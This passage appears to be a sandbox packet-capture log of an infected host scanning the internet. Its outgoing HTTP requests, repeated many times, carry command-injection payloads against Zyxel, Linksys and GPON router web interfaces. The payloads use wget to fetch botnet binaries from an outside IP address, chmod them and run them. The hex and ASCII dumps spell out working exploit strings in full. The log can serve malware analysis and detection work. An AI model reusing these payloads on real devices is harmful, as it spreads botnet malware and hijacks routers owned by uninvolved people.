Mar 21, 2024 05:26:32.291898012 CET	1286	IN	Data Raw: 31 36 37 65 6d 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 37 37 38 30 37 46 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 0a 20 Data Ascii: 167em; text-transform: uppercase; color: #77807F; } .tlt-404-error { max-width: 520px; display: flex; align-items: center; color: #0054A6; } h1 { wid
Mar 21, 2024 05:26:32.291986942 CET	115	IN	Data Raw: 65 66 3d 22 2f 22 3e 0a 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 74 6e 22 3e 52 65 74 75 72 6e 20 74 6f 20 4f 76 65 72 76 69 65 77 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 3c 2f 64 Data Ascii: ef="/"> <button class="btn">Return to Overview</button> </a> </div> </body></html>
Mar 21, 2024 05:26:32.728173971 CET	115	IN	Data Raw: 65 66 3d 22 2f 22 3e 0a 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 74 6e 22 3e 52 65 74 75 72 6e 20 74 6f 20 4f 76 65 72 76 69 65 77 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 3c 2f 64 Data Ascii: ef="/"> <button class="btn">Return to Overview</button> </a> </div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.23	55500	178.79.138.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:32.230617046 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.23	34106	172.65.40.29	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:32.266884089 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.23	60748	172.65.153.85	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:32.266910076 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:32.545624971 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.23	38686	80.90.87.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:32.268533945 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:33.291419029 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.23	55496	178.79.138.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:33.046102047 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.23	40644	86.121.47.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:33.079693079 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:33.273827076 CET	124	IN	HTTP/1.0 400 Bad Request Content-type: application/json Access-Control-Allow-Origin: * Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.23	49210	34.43.88.197	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:33.210782051 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.23	52042	115.3.111.124	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:33.789900064 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:34.096120119 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.23	56020	175.233.25.38	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:33.790025949 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:34.096400023 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.23	35782	172.64.194.81	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:33.999650955 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:34.667511940 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.23	37136	212.35.197.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287862062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.23	53362	210.69.87.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287868977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.23	53884	2.112.129.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287904024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.23	32916	109.250.149.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287919998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.23	37166	2.171.154.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287940979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.23	40008	42.122.150.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287940979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.23	43912	210.123.223.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.287955999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.23	45480	37.201.111.2	443

Timestamp	Bytes transferred	Direction	Data
